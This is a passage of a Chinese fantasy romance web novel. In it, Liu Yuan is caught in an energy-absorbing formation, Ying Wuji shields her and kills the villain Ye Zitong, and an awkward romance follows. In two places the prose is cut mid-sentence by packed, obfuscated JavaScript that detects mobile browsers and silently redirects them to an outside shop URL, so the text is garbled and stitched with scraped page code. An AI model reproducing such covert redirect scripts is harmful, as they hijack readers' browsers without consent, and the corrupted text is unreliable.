“她身上应该没有,中了蛊虫的人的情绪会格外激动,尤其是欲望会被放大。我没从她身上看到这些特征。”他补充道。 情绪激动?柳沅突然想到了王大牛,试探着问道:“那王大牛是他杀的吗?” 应无霁微微点头,顿了顿才接着道:“那天……晚上他想翻进我房间,”说到这里,他的神色有点不自然,停了一下才接着道:“被我发现了,我就给了他一点小惩罚。” 说完,怕柳沅不相信,有点着急地补了一句:“其实不至于会杀掉他。” 闻言,柳沅忍不住笑了出来,调侃道:“我又没说是你干的。” “你慌什么?” 这话一出口,她自己先愣住了。 空气尴尬了一瞬间,柳沅脑子一片混乱,脱口而出道:“我知道你不是那种人。” 这句话让应无霁怔住了。 两人大眼瞪小眼,对视时像触电了,双双移开视线。 应无霁轻咳一声,低声道:“快到了,小心脚下。” 柳沅干巴巴地应了一声,动作僵硬地往前走。 地牢里静悄悄的,应无霁摊开掌心,聚起灵火,借着光亮四处打量着。那些被柳沅他们放出来的修仙者全都乖乖地呆在牢房里,看见有光,齐刷刷地转头,直勾勾地盯着应无霁手心的火。 柳沅快速地扫过人群,突然在一个人身上顿了顿。 那不是阿花吗? 阿花混在那群神情呆滞的人中,见到柳沅,快速移开视线,一会儿就混入人群中不见了。 柳沅下意识往牢房那边迈了一步,被应无霁拉住了。 “嘘,”他对着她做了个手势,指了指前方。 只见阴暗的过道中突然出现了密密麻麻的亮光,细细一看,是一群很小的生物,戴着白色的斗篷,露出来的身体发着淡蓝色的光,在空气中飘来飘去,如果不细看,还以为是柳絮。 柳沅一眼就认出来这东西是散骨魂,这段时间她一直和贺听舟用稻草人抓这东西,早就熟悉它的习性。 散骨魂性格温顺,最擅长打听消息,喜欢火,但不会生火,所以常常用各种消息和人类换取火种。 她拽了拽应无霁的袖子,朝他使了个眼神。 应无霁会意,将手心的火焰加大了些。 明亮温暖的光一下就吸引了那群小东西的注意,它们哗啦一下全围了过来,发出吱呀吱呀的声音。 “啊,是那个坏人类!”有一个小不点发现了柳沅,尖叫一声,躲在了应无霁的肩膀后面。 柳沅和贺听舟抓它们的方式总是很粗暴,这导致她们的脸都被记忆力不好的散骨魂们记住了。 她干笑一声,下意识望向应无霁。 “我们可以找它们问问阵法到底在哪里,这些小东西最擅长的就是收集消息了。”她小声说道。 应无霁的身上有股吸引妖鬼的力量,散骨魂们飞到他的肩膀处,神志不清地围着他转圈。 “它们……它们害怕我,不过好像对你很感兴趣,你快问问它们。”柳沅连忙道。 应无霁微微转过头,冷漠地扫了一眼那些不自觉被他吸引的小家伙们,抬起右手,一巴掌把它们全都扇翻了。他的速度太快,柳沅还没反应过来,散骨魂们便尖叫着逃开了。 “你这是做什么?”她瞪大了眼睛,不可置信地问道。 “它们太吵了,我不喜欢。”说完,他像知道柳沅会有什么反应,及时补充道:“我知道位置,跟着我走就够了。” 说完,迈开步子,快步往前面的过道走去。柳沅虽然觉得莫名奇妙,但还是跟着他往前走,只不过这次应无霁的速度快了很多,她小跑着才能勉强跟上。 不喜欢说话,十分讲究,不喜欢任何东西离自己太近。她对着他的背影,暗自总结着自己观察到的一切,最后得出结论:应无霁就是个性格古怪的酷哥。 被她称作酷哥的人在一道铁门处停了下来,柳沅从他背后探出头,看到了散落在地上的锁和钥匙。 “有人比我们先来?”她好奇问道。 应无霁闭上眼,感受了一下门口残留的气息,缓缓转身,疑惑地望着柳沅。 她有些猝不及防,指着自己道:“我一直和你在一起,这不可能是我弄的。” 应无霁原本神色淡淡,听了柳沅这话后,突然勾了勾嘴角,心情很好道:“我知道不是你。” 柳沅觉得莫名奇妙,反问道:“那你看我做什么?” 他轻咳一声,收敛好表情,道:“是你那个朋友。” “哪个朋友?”她还是一头雾水。 应无霁垂眼想了想,说道:“是那个总是拿着饭盒的人。” 贺听舟?柳沅一愣,她怎么会在? 不过要不是她,自己也不会安安稳稳地站在这里了。柳沅的脑子突然闪过一丝不对劲,贺听舟也是入梦人,还是实力不俗的那种,那一定也会成为叶子桐的目标。 糟了。她暗道不好。 应无霁见她神色猛然变化,接着道:“这锁是她打开的,这里并没有残留太多的灵力痕迹,说明她是悄悄潜入的。” 说完,他又观察了一下柳沅的表情,见她稍微放松了一些,才补充道:“她实力不俗,甚至高于叶子桐,你不用太担心她。” 柳沅这才放心下来,跟着应无霁小心翼翼地往里走。 铁门后是一个巨大的大厅,大厅旁边分散着好几个小房间,房间的木门上绘着不同的图案,柳沅仔细看过,总觉得有些熟悉。 这不是和她那天在树林里看见的棋盘一模一样吗?甚至连棋子摆动的顺序都一样。 她几乎是张着嘴巴看完这一圈房门,然后停留在和她解树林棋盘的图案一致的房门前。 这时,应无霁突然从她身后冒出来,冷不丁来了一句:“那人的气息在这扇门前最浓。” 柳沅被他这一口一个的那人逗笑了,有些无奈道:“她叫贺听舟。” “哦。”应无霁的语气毫无感情,“我记性不太好,不太能记住别人的名字。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183622|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那你现在记住了,”她敷衍地回答一声,同时转头谨慎地视察了下周围,发现并没有什么异常。 应无霁觉得她这副过度紧张的样子太夸张了,于是伸手想帮她推开木门,被她一把抓住了手腕。 柳沅十分郑重地盯着他,严肃道:“这门上的图案和我上次在树林里遇见的那棋局几乎是一模一样,我们还是小心些为好。” 说完,她深吸一口气,轻轻推开了房门。 迎面而来就是一股热浪,伴随着浓厚的血腥味,柳沅抬眼望去,入目皆是熊熊燃烧的烈火。 空中,两道白色身影纠缠着,武器碰撞声一下接着一下,在烈火灼烧的声音下显得格外刺耳。 贺听舟的衣裙在打斗中飞速翻滚,配合着她灵动的身姿,像一朵开的正盛的花。在她的对面,叶子桐则显得更加狼狈,浑身是血,眼神阴翳,恨不得一口把她生吞活剥。 两人打的难舍难分。 在他们脚下,一个巨大的红色阵法在缓缓生成,刚才他们看见的那些修仙者正在一个一个被传送到法阵中央,然后被熊熊燃烧的烈火吞没。 叶子桐暂时落于下风,贺听舟终于能够喘口气,往四周看了看,正好看见刚走进来的柳沅和应无霁。 “你们快去阵法中心,破坏它的核心!”她朝着柳沅大喊一声,随后身后突然闪过一双手,险些击中她的后心。 贺听舟转身,略带嘲讽地看了叶子桐一眼:“只会偷袭吗?” “你心知肚明你这身修为是怎么来的,为什么要阻止我?”他面目狰狞,怒吼着。 贺听舟抱臂,露出灿烂的笑容:“我没有要阻止你啊。” 闻言,叶子桐嘶吼着,对着她的心口又是一掌,贺听舟微微往旁边一避,在躲开这一掌的同时,将手中的长剑送入了他的心口。 叶子桐猛地喷出一大口鲜血,不可置信地望着她:“你……你怎么会……比我……的修为高出那么多?我明明……明明……” “你是想说,你明明已经把云城的入梦人的底细摸了个透,明明已经确定除了应无霁之外,没有能与你为敌的人,可为什么还不打过我?”她微笑着,边说边把长剑继续往血肉的更深处送了送。 “你……”叶子桐的眼睛瞪大了,满眼都是震惊,“你特意……压制了修为……你……到底想干什么?” 贺听舟扫了下面跑到阵法核心的柳沅一眼,轻笑一声:“我这人性格随和,没什么特别的目的,唯一讨厌的就是李怀朔,我打不过他,那就欺负欺负帮过他的人。 “你很幸运,被我选中了。” 说完,她一掌拍向叶子桐。这一击不轻不重,正好够把他打落空中,让他失去行动能力。 贺听舟潇洒地甩掉剑上的血珠,将长剑背在身后,哼着歌往柳沅所在的方向飞去。 柳沅拉着应无霁,小心翼翼地越过那些小小的火苗,往贺听舟说的阵法核心走去。 那核心被包裹在一团模糊的光点中,柳沅走近了些,好奇地用手戳了戳。 52. 任务变更(2) 很温润的手感,很像上次在树林里得到的那块玉石。柳沅拨开衣领,把挂在脖子上的玉石扯下来,对着这团光点晃了晃。 神奇的事情发生了,光点被手中的玉石吸收,露出里面一模一样的玉石。 贺听舟跟在离他们不远的地方,正好看见了这一幕。 那块石头的颜色…… 不对!她猛地反应过来,对着柳沅大喊一声:“”不对!快出去!从阵法中心出去!” 应无霁率先意识到了不对,想去拉柳沅的手,却被那块玉石爆发出的能量弹开了。 柳沅的身影被强烈的白光吞没。 入目皆是刺眼的白色,他离柳沅最近,被那股爆发的能量冲击的最严重,几乎是一路被推着撞上了坚硬的墙壁。贺听舟好一些,只是吐了几口血,踉跄着跑到应无霁身边,声音有点抖:“这阵法不对劲,那核心是启动的钥匙。” 远处,叶子桐艰难地在地上蠕动着,大笑道:“这就是和我为敌的下场,她刚开灵脉,承受不住这么强的灵力冲击,就算勉强不死,以后……” 说到这里,他特意停顿了下,笑得更加猖狂。 在刺耳难听的笑声和阵法启动的风声中,应无霁皱着眉头,缓缓撑着墙壁站了起来。 “你……”贺听舟见他行动不稳,想去扶他,被他不着痕迹地避开。 应无霁从袖子中抖出桃木枝,一头扎进了那光团中。 里面的情况很糟糕,到处是混乱的能量光团,他无视自己被到处乱窜的力量切割的血肉模糊的手,拿着桃木枝拨开那些混乱的能量流。 这个阵法提前被人做了手脚,正常启动的话会自动损毁,若是有人故意毁坏,则会立即启动。这是一个吸收能量的阵法,但是因为柳沅的承受力不够,多余的能量便溢出,形成了这样的能量漩涡。 这样的能量漩涡往往十分危险,四处乱跑的灵力流会集中攻击强行进入这片空间的生物。这意味着应无霁不仅要忍受灵力流的攻击,还会被吸收力量。应无霁刚愈合的皮肤又被割开了,膝盖,手臂,胸口,脸颊,全部染上了血色。 他连眉头都没皱,仔细在模糊的光团中寻找着那道熟悉的身影。 突然,眼前飘过什么东西,他猛地一抓,发现是柳沅常常戴在手腕的木头手串,和之前她送给自己的一模一样。 “柳沅。”他的声音有点抖,在灵力流的削弱下显得有些微弱。但柳沅还是听到了。 她浮在空中,被那些乱跑的灵力流包裹着。身体深处有种奇怪的酸痛,似乎在渴望着力量,又在排斥着力量。 她像是被烈火灼烧着,浑身发烫,艰难地扭动着四肢,想动又不能动。 这时,她听到了一声很微弱的呼唤,好像是在喊她的名字。 “我……”她喉咙干涩,极其艰难地张开干裂的嘴唇,声音沙哑:“我在这……” 几乎是她这句话出口的一瞬间,一股熟悉的力量迎面而来。她感觉围绕在自己身边的灵力流突然消失了。 耳边传来呼啸的风声,她能感受自己在飞速坠落。 柳沅下意识闭上双眼,想象中粉身碎骨的剧痛没有到来。她缓缓睁开眼睛,被一双手狠狠按入了怀中。 眼睛被遮住,耳边传来应无霁急促的呼吸声,还有一点痛苦的闷哼。 “别睁眼。”他道。 在应无霁触碰到柳沅的一瞬间,空间内的灵力流完全失去了控制,开始疯狂地攻击他,并吸取他的灵力。 应无霁把柳沅严严实实地抱在怀中,任由那些力量一寸一寸割过自己的身体。 与此同时,柳沅体内的力量又开始蠢蠢欲动,她被外面混乱的能量吸引,挣扎着要从应无霁的怀抱中出来。 他轻轻按住她的后脑勺,尽管声音已经在颤抖,但还是牢牢护住她:“再过一会儿,再过一会就好了。” 不属于自己的力量在体内炸开时的感觉实在是太痛苦了,柳沅感觉自己被活生生撕碎了,骨头和血肉被一把钝刀反复切割,整个人快要融化了。 应无霁能感觉到她在发抖,只能把她抱的更紧了些。 他比任何人都熟悉此时柳沅经受的痛苦,却无法帮她立即解决这痛苦。这个阵法一旦启动,只有能量全部吸收完才会终止。 他唯一能做的,就是尽可能在混乱的灵力流中护住她,让她少受些伤害,可这也把他置于了险境。 伤口越来越多,体内的力量也在流失,应无霁咬紧了下唇,双手颤抖的不像话。 柳沅缩在他怀中,双眼大睁着,无措地盯着他满是血色的胸口。 身体在疼痛,但思维比平时更为敏捷。 她几乎立刻就记起了那一天晚上,应无霁在那么多怪物的围攻下奄奄一息,最后好不容易逃走,却还要被迫吸收掉萤神只的力量。 她当时在干什么? 柳沅感觉心脏被一根无比粗壮的铁棒刺穿,血流成河中泛起难以言说的苦涩。 她当时竟然还要逼着他去吸收能量,完全没有注意他苍白的脸色和异常的排斥。甚至还在应无霁明确表示自己不愿意后,为了完成任务继续对他进行劝说。 她恍然大悟,难怪应无霁会对她露出那样冰冷的神情,难怪他会推开自己。 她根本就没考虑过他的感受,她一直把应无霁当作一个没有生命的角色。还有刚才在雾气里,应无霁为了她。 柳沅鼻尖一酸,为了她,应无霁为了她,又主动吸收了那些力量。 会痛吗?她很想问问他,但是此刻她浑身疼痛,根本不能动弹,自然也说不出话来。 可这个问题根本不需要问,柳沅沉默,她此刻就切身体会着这样的痛苦,应无霁一定也是。 但是他竟然能掩饰的那么好,让柳沅半分没察觉到他的异样。 又或者,是她本来就没有太关注他。 滚烫的眼泪再也藏不住,夺眶而出,柳沅无声地哭着,额头紧贴着应无霁的胸膛。 她能听到血肉被划开的声音,能感受到应无霁隐忍的颤抖,可她什么都做不了。 眼泪流的更凶了,柳沅眼前一片模糊,又在片刻后,陷入无尽的黑暗。 昏过去之前,她听见应无霁特意放轻的声音:“没事了,我带你出去。” 怀中的少女呼吸平缓,身体也不再僵硬,虽然眉头还是皱着,但脸色明 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叶子桐丝毫不在意她对自己的诅咒,阴阳怪气道:“前辈是个再聪明不过的人,怎么可能为了一个莫名奇妙冒出来的妹妹吸收掉那些力量。” 说罢,又补充了一句:“不过我还是希望他能吸收掉这些力量,最好不要因为那个女人。” 贺听舟白了他一眼,凝神去观察着能量漩涡的变动。 难道这一切真的和她料想的不一样?柳沅对应无霁的重要程度还不够?她扶着下巴,若有所思。 如果真的是她预估错误,那…… 贺听舟刚准备进入能量漩涡,只听得一声剧烈的爆炸声,随后是一阵天旋地转。 她踉跄了好几下,重新站稳时,突然看见应无霁抱着柳沅,出现在了她面前。 两人看起来都很狼狈,应无霁的衣服破破烂烂的,而且因为血迹干涸,呈现出一种诡异的深红色。 柳沅被他紧紧护在怀里,贺听舟看不清具体情况,于是急急忙忙往他们的位置赶,只是刚靠近,一节沾血的桃木枝就唰的一下飞来,她紧急往旁边一避,这才避免了被划伤的结局。 应无霁周身散发出生人勿近的气场,凌厉的眼神如刀刮遍她全身,好像贺听舟再往前一步,他就要动手了。 见状,贺听舟先是一愣,随后实在没忍住,噗嗤一声笑了出来。 “你什么时候发现的?”她弯弯眼睛,晃晃身体,用很欢快的语气问道。 应无霁没回答她,转身就要走。 贺听舟不紧不慢地跟在他后面,自顾自说道:“不过一开始我真没想到阵法会被人做手脚,我是打算帮你们的。” “李怀朔想杀你,但是他又对柳沅格外感兴趣,哎,为了救你,我只好把她送到你身边,这样李怀朔就会收敛一点,对你下不那么重的手。” “其实我这样做已经算是仁至义尽了。” 贺听舟笑道。 应无霁没理她,凝望着怀中昏迷的柳沅,加快了走路的速度。 叶子桐仍不甘地在地上蠕动着,应无霁经过他时连眼神都没施舍给他一个,这让叶子桐很是恼火,特别看到应无霁还抱着那个废物女人时,那股火气更重了。 53. 任务变更(3) 他不甘地盯着应无霁,阴阳怪气道:“恭喜前辈的修为更精进一步。” 闻言,应无霁突然停了下来,那双黑中透蓝的双眼冰冷地扫过叶子桐全身。 叶子桐立即感受到一种撕裂般的痛苦,蜷缩在地上不停地滚动。应无霁动了动手指,一缕蓝光立即射出,在他身上燃起明亮的蓝色火焰。 灵火可以炼化灵魂,对修仙者来说是最难以忍受的刑罚。叶子桐的喉咙里发出粘腻的呻吟,仿佛死亡的前兆。 不过短短几秒,他便在灵火的灼烧下变成了一具没有生气的尸体。 做完这一切,应无霁收回灵火,继续抱着柳沅向外走。 贺听舟笑吟吟地跟在他身后。 应无霁放慢了脚步,手指微动。桃木枝迅速脱手,以极快的速度朝贺听舟刺去。她似乎料到了应无霁的发难,轻轻往旁边一避,躲过了这一击。可这还没完,桃木枝急速回了个头,从她的背后再度袭来。 贺听舟无奈地耸耸肩,脚尖轻点,腾空而起翻了个跟头,又避开了。 “哎,我好歹帮了你们,犯不着对我这样吧?”她轻巧落地,摊摊手道。 应无霁没理她,加快速度往外走。 外面已经天亮了,久违的阳光洒在怀中女子的脸上,柔化了她的表情,让柳沅看起来像一只熟睡的小狐狸。 应无霁望着她,轻轻扬起了嘴角。 贺听舟哼着歌,环顾四周,在角落的走廊里发现了一道鬼鬼祟祟的身影,看身形,很像方锦悠。 她眼珠一转,一个好点子跃上心头。 方锦悠正偷偷观察着应无霁,肩膀上突然传来一股压力,他猛地回头,当头就是一棒。 意识迷蒙中,他好像感觉自己被拖动着,然后就再无知觉。 是雨天,好大的雨。 太阳被厚厚的乌云遮住,光很暗,一个穿着黑衣,戴着黑色帏帽的少年牵着马,缓慢地走在街道上。 大雨淋湿了一切,马匹发出不安的叫声,迟疑着不肯前进,少年伸出手,轻轻抚摸着它的头,耐心安抚着它的情绪。 漫天的雨帘被剑光划破,少年猛然回头,躲过这突然的偷袭。 随后是一阵急促的脚步声,他放下套在马脖子上的缰绳,望向自己的周围。 来者大约数十人,穿着一样的衣服,表情无一不是充满了滔天的恨意。 为首的人穿的更精致些,就连配的武器也更高级。他认识这个人,前不久才见过。 只是有点可惜。 他百无聊赖地捏了捏手指,怎么没有早点杀掉他呢。 “我们一起上,为夫人报仇!” 那为首的男子一声怒吼,拔出腰间的长剑,招呼着其余的人,奋力朝少年砍去。 刀光剑影中,雨水溅湿了鞋子,裤脚,衣角,还有脸。 死不瞑目的脸。 他徒手抓住伸到面前的长剑,任凭手被切割的血肉模糊,血液奔涌而出。 “你一定会……一定会遭报应的!” 最后一个人在他面前倒下,少年冷漠地看了他一眼,毫不留情地将长剑踩碎。 血水混着雨水在青石砖上流淌,他抬起头,帏帽顺着动作滑落,露出一张过度苍白的脸。 那双黑中透蓝,含着雾气的眼睛,和应无霁一模一样。 柳沅猛然惊醒,入目就是应无霁那双雾蒙蒙的眼睛。她的脑子里满是刚才梦中他杀人的样子,惊恐地望着他,半天都说不出话来。 一个毛茸茸的脑袋从应无霁身后探了出来,是贺听舟。柳沅一愣,稍微缓过一点神来。 贺听舟摸着下巴,自言自语道:“看样子是做了噩梦,过一会儿就好了。” 应无霁静静地看着柳沅,很敏锐地察觉到了她对自己的排斥。柳沅平时总是一副乐呵呵的样子,这是他第一次见到她这副模样。 少女满头大汗,惊恐地瞪大了眼睛,盯着床单不停地喘气。 他抿了抿唇,起身,把抢来的床边位置让给贺听舟,低声道:“我先出去。” “等等!”柳沅大喊一声,拽住了他的袖子,“你先等等。” 这一举动让应无霁和贺听舟都有些吃惊。 柳沅这才发觉自己的反应太大了,不自然了一瞬,硬着头皮把应无霁拽的坐了回来,低声道:“你……” 应无霁还穿着昨天那件沾血的长袍,整个人狼狈不堪,一看就是在这里守了柳沅一整夜。她没理由不关心关心他现在的状态。 但是,明明很简单的一句问候,她怎么都说不出口。 一旁的贺听舟嗅到了一丝不对劲,很识趣地往外走,一边走一边说:“我去外面晒晒太阳,你们聊。” 这句话让柳沅本就低着的头更低了。 应无霁想把自己的手拿出来,无奈她抓的太紧,只好作罢。 “有什么事,你说吧。”他的声音很温柔。 柳沅啊了一声,飞速松开拽着他袖子的手,结巴道:“我就想问问,你现在感觉怎么样?” 感觉怎么样?应无霁有点错愕,不明白她的意思,但还是配合道:“很好,怎么了?” “不是,”她扫过他伤痕累累的身体,有些着急道:“可是你看着不像没事的样子。” 这下应无霁才懂她问的感觉怎么样到底是什么意思,望着她着急又欲言又止的样子,他唇角小幅度地弯了起来,发出一声短促的笑。 柳沅觉得他笑的莫名奇妙,不满地嘟囔了一声,又问了一遍。 应无霁压住不停上扬的嘴角,轻咳一声:“我没事。” 真的没事吗?柳沅狐疑地望着他,想多问几句却总有种莫名的尴尬。 到底问不问呢? 这是正常的问话吧,毕竟没有应无霁,自己就不会好端端地躺在这里。可是问吧,又总感觉想问的太多,一次性问那么多很奇怪哎。 她这副纠结拧巴的样子尽数落在应无霁眼中。他伸出手,轻轻揉了揉她的发顶,在柳沅震惊的眼神中,扬唇一笑:“我的伤已经好了,看上去吓人只是没把脏衣服换下来,没事的,你不用太担心。” 她感觉头顶那块被应无霁触碰过的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192211|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在隐隐发烫,连忙低下头掩饰自己的失态,声音卡在喉咙里,半晌憋出句那就好。 然后两人都没说话,房间里慢慢变得很寂静。 柳沅一直低着头,从耳尖一直红到脖子,更要命的是,她能感受到应无霁的目光一直停留在自己身上。 这让她更加不敢抬头了。 如果抬头,应无霁就会发现她满脸通红,然后就会询问她为什么会这样,说不定还会离她更近,到时候…… 柳沅只是想想就已经心脏骤停,崩溃地捂住了脸。 “那块玉石还在吗?”应无霁突然出声道。 柳沅正愁如何挽救这诡异的氛围,连忙四处翻寻,最后在衣服最里面的口袋里找到了……两块玉石。 她正发愣,应无霁已经伸出手,把那两块石头从她手心捞走了。 他的指尖有些凉,碰上她滚烫的手心,有种奇怪的震颤感。 柳沅不自然地把手背到了身后。 “一般实力比较强的妖物死后,会留下一些东西。玉石就是其中一种。这两块玉石能量很强,你戴在身上有助于修行。”应无霁解释道,把石头重新放回她掌心。 玉石的外壁滑滑的,颜色也有点灰,她看了看,不太喜欢,嘟囔道:“这样看起来光溜溜的,真难看。” 说完,她随意地把这两块石头往旁边一搁,撑着下巴看了应无霁一眼。 “不过方府的这件事算结束了吧,我真担心李怀朔还会卷土重来。”她边说边观察他的表情。 现在应无霁的身份仍未确认,但李怀朔实打实的是这本书的男主,要想确认应无霁的身份,只能通过他对李怀朔的态度进行一个浅显的判断。 柳沅很明显地想套应无霁的话,也十分没有经验地露馅了。 应无霁低笑一声,学着她的动作,轻声道:“应该是吧,我并不了解他,原来他叫李怀朔,看样子你和他很熟?” “哪有,我不过加入了入梦人吗?他正好是那个组织的头头,我们不过是有几次书信往来而已。”她连忙否认。 说完,柳沅一愣,这才意识到自己被套话了,错愕地盯着应无霁。 他放下撑着脸颊的手,站了起来,瞥了她一眼。两人之间的高度差有点大,应无霁这样站在她面前,压迫感有点大。 她几乎是立刻就结巴起来:“你……你干什么?” 应无霁有点懵,奇怪地看着她,道:“我出去一趟。” 柳沅很忙地抓了把头发,打了个哈哈:“啊?是吗?那你快出去吧哈哈哈。” 糟了,她看着应无霁骤然变得冷淡的脸色,恨不得在心里扇自己一巴掌,这话说的,好像很不情愿他留在这里。 但是要找补的话,好奇怪。 她选择了沉默。 等到脚步声远去,她像卸下了千斤重物,彻底瘫在了床上。 天花板上什么都没有,她看的眼酸,还是忍不住坐了起来,掀开被子往外走去。 不行,她还是什么都没弄清楚。既然应无霁什么都不说,那问问贺听舟总会有收获。 54. 任务变更(4) 院子里,贺听舟正坐在石凳上,盯着被绑在树根处的方锦悠,悠闲地喝了一口茶。 应无霁推门出来,她还心情很好地对着他打了个招呼:“她没事了吧?” 他淡淡地扫她一眼,没说话,提步往方锦悠的方向走来。 等到了地方,应无霁半蹲下来,望着方锦悠张开嘴还带着水渍的脸,有点难以下手。 “你不是想知道李怀朔想干什么吗?我给你把关键人物带过来了,你看看他的记忆就知道了。”贺听舟咽下一口茶,道。 “不过他的记忆毕竟有偏差,你可以直接问我,我知道的更多,不过我一般不轻易帮别人,必须要有所交换……” 她话还没说完,应无霁就已经背过身,无声地拒绝了询问她的提议。贺听舟耸耸肩膀,露出遗憾的表情。 他有点烦躁地伸出手,飞快地抵上了方锦悠的眉心。 眼前顿时陷入一阵幽暗。随后视野被淡白色的月光笼罩。 这是在藤萝院,方锦悠似乎站在帘子后,大厅里有两道模糊的身影。 应无霁一眼就认出了那道比较高的是李怀朔。 说话的人是宋扶湘。 闻言,李怀朔说道:“没事,计划照常。” “可是……我们好不容易才把应无霁引出来,若是柳沅坏了事……”宋扶湘很是担心。 李怀朔呵呵一笑:“那正合我意。” 接下来这两人又说了些话,都是如何在甘月草中下毒,引、让应无霁吃下去,还谈到了叶子桐。 “他恐是变数,要不要?”宋扶湘做了个抹脖子的手势,道。 李怀朔摇摇头,笑道:“不用多此一举,有人会帮我们把他变成助力。” 这话让宋扶湘一愣,她皱着眉头,冷冷道:“主人你是说,她?” 李怀朔低声笑了笑,走到半开的窗户前,凝望着巨大的月轮,意味深长道:“她走之前,不是扬言要和我对着干吗?这次是她最好的机会。” “我等着。” 记忆在这里终止,应无霁的睫毛颤了颤,面无表情地起身,坐到了贺听舟的对面。 “他好像对柳沅很感兴趣。”她笑道。这个他虽然没有具体指出是谁,但贺听舟和应无霁都心知肚明。 闻言,应无霁用古怪的目光扫视了她一眼,淡淡道:“你和他认识,而且关系不浅。” 贺听舟露出一副震惊的样子,捂住了嘴巴,大声道:“哇塞,你终于发现了啊,真的很不可思议!” 应无霁知道她在嘲讽自己,没在意,继续道:“所以你们都对柳沅感兴趣。” 说这句话的时候,他的语气很淡,表情也很淡,但贺听舟就是听出了一股莫名其妙的不满。 她忍不住笑了一声,坦荡地直视着应无霁的眼睛,道:“这个我确实得承认,但是我绝对没有恶意。” “谁知道。”他嗤笑一声。 应无霁真的很不喜欢说话,贺听舟屡次想找话题,都被他冷硬的目光逼得把话咽下去。坐在他对面,还不如跟雕像坐一起,起码雕像不会臭着一张脸。 贺听舟忍不住翻了个白眼。好在这样的情形没有持续很久,柳沅打开门,慢慢走了出来。 她先是飞速瞟了一眼面色冷淡的应无霁,然后被树根下的方锦悠吓了一大跳。 “他怎么来了?还有,怎么被绑住了?”她跨过方锦悠的腿,边走边问。 贺听舟一只手转了转茶杯,另一只手搁在桌面上轻轻敲了敲,道:“从方府出来的时候,我发现这小子一直跟着我们,就把他打晕带回来了。” 说话间,柳沅已经走到了石桌前,桌子是圆桌,应无霁和贺听舟面对面坐着,两外两个凳子一个离贺听舟近一些,一个离应无霁近一些。 她果断选择了那个离贺听舟比较近的凳子。 她刚坐下,就感觉一道冷冰冰的视线随之而来。柳沅浑身一抖,当作什么都没看见,笑着对贺听舟道:“真是多谢你在密室里救了我,如果不是你,我早就死了。” 这话说的怪有歧义的,贺听舟一听完,就立即把目光转向了一旁的应无霁。他看似面无表情,实则搁在桌上的手早就攥了起来。 又有一计跃上心头,贺听舟忍住笑,清了清嗓子,问道:“我一向喜欢助人为乐嘛,不过在这里,你最应该感谢的人不是我吧?” 说完,她直勾勾地盯着脸色突然变得不自然的柳沅,笑容灿烂。 “啊?”柳沅尴尬地从嗓子里挤出一点声音,手忙脚乱地想抓些什么东西,但桌子上空空如也,慌乱间,她触碰到了一块冰冰凉凉的东西。 好像……是手指。 应无霁的目光迅速锁定在两人触碰到一起的指尖,然后抬眼,和柳沅错愕的眼神对上了。 她啪的一声撒回了手指,收回去的速度太急,手腕正好磕在了桌角,发出清脆的响声。 “你怎么了?不疼吗?”贺听舟目睹了全程,忍不住惊讶道。 当然疼啊,疼死了。她恨不得当场手舞足蹈,怒吼一声。柳沅克制着自己的表情,忽略应无霁盯着自己的视线,倔强地摇摇头。 应无霁慢悠悠地收回手,就这双手交握的姿势,暗自摩挲了下刚才被柳沅握住的指头。指尖上还残留着淡淡的温热,他忍不住微微扬起了嘴角。 “对了,我昏过去之后,后来还发生了什么?”柳沅问贺听舟。 她故意看了应无霁一眼,憋笑道:“你问他呗,是他抱着你出来的,我当时离你们挺远的,问他比问我更清楚。” 话音刚落,柳沅诡异地沉默了很久,突然一指方锦悠,道:“他怎么睡这么久?” 这话一出,贺听舟彻底憋不住了,噗嗤一声笑了出来,又看了一眼应无霁,正好发现他悄悄看了柳沅一眼。她连忙别过头去,捂住了嘴,这才没有大笑出口。 “你干什么?”柳沅觉得她莫名奇妙。 “没……没事,”贺听舟收敛好表情,拼命控制着嘴角,含糊不清道:“我突然发现我其实还有点事,我先走了。” 说完,贺听舟急急忙忙走到树根处,把方锦悠身上的绳子解开,扛着人就往外跑。柳沅喊她她也不回头。 院子里只剩下她和应无霁。她尴尬地偷瞄应无霁一眼,发现他呆呆地望着天空,并没有在看自己,松了口气。 这个世界的秋天好像格外的长,粗略算下来,柳沅应该已经来到这个世界三月有余了,来的时候应该是初秋,现在院中这棵树的叶子还没掉完 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应无霁看了她一眼,右手轻轻一挥,一把油纸伞突然出现在他手中。他就这样带着一身雪站在柳沅身边,把伞打在了她头顶。 她慢慢放下揉眼睛的手,好奇地往头顶看去,应无霁也在低头看她。 两人猝不及防地对视,皆是一愣。 这下是避无可避了,柳沅只好露出一抹僵硬的笑容,道:“真巧,正好就下雪了。” 应无霁没有接她的话,只是轻声问道:“你喜欢下雪吗?” 他比柳沅高太多,伞打的又很偏,雪花全部落在了他的肩膀上。 柳沅一愣,干笑一声:“谈不上喜欢。” “只是以前很少看见,”说着,她伸出手,接下一片洁白的雪花,“比起喜欢,我应该更好奇。” 应无霁顺着她的动作,望向她的侧脸。 柳沅的鼻尖红红的,眼睛亮亮的,根本不像她话里表现得那样冷静,他觉得有趣,忍不住低头笑了一声。 “好奇是好事,”他语调微微上扬,“喜欢不就是从好奇开始的吗?” 